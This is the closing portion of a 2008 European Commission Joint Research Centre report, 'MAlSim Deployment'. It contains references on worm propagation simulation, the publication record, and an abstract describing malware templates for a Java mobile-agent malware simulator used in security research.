[Wagner et al., 2003] Wagner, A., Dübendorfer, T., Plattner, B., and Hiestand, R. (2003). Experiences with worm propagation simulations. In *WORM '03: Proceedings of the 2003 ACM workshop on Rapid malcode*, pages 34–41, New York, NY, USA. ACM.

[Wei and Mirkovic, 2006] Wei, S. and Mirkovic, J. (2006). A realistic simulation of internet-scale events. In *Valuetools '06: Proceedings of the 1st international conference on Performance evaluation methodolgies and tools*, page 28, New York, NY, USA. ACM Press.

[Wei et al., 2005] Wei, S., Mirkovic, J., and Swany, M. (2005). Distributed worm simulation with a realistic internet model. In *PADS '05: Proceedings of the 19th Workshop on Principles of Advanced and Distributed Simulation*, pages 71–79, Washington, DC, USA. IEEE Computer Society.

[Zou et al., 2003] Zou, C. C., Gong, W., and Towsley, D. (2003). Worm propagation modeling and analysis under dynamic quarantine defense. In *WORM '03: Proceedings of the 2003 ACM workshop on Rapid malcode*, pages 51–60, New York, NY, USA. ACM.

European Commission

EUR 23507 EN – Joint Research Centre – Institute for the Protection and Security of the Citizen
Title: MAlSim Deployment
Author(s): Rafał Leszczyna, Marcelo Masera, Igor Nai Fovino
Luxembourg: Office for Official Publications of the European Communities
2008 – 16 pp. – 21.0 x 29.7 cm
EUR – Scientific and Technical Research series – ISSN 1018-5593

Abstract

This report describes the methodology of malware templates for MAlSim - Mobile Agent Malware Simulator, a mobile agent framework which aims at simulation of diverse malicious software in computer network of an arbitrary information system. Malware template is a pattern (a 'guide') for implementation of MAlSim agent aiming at simulation of a concrete malware. It indicates the selection and configuration of Java classes (MAlSim agent, one or more behavioural patterns and one or more migration/replication patterns) selected from MAlSim Toolkit.

The mission of the JRC is to provide customer-driven scientific and technical support for the conception, development, implementation and monitoring of EU policies. As a service of the European Commission, the JRC functions as a reference centre of science and technology for the Union. Close to the policy-making process, it serves the common interest of the Member States, while being independent of special interests, whether private or national.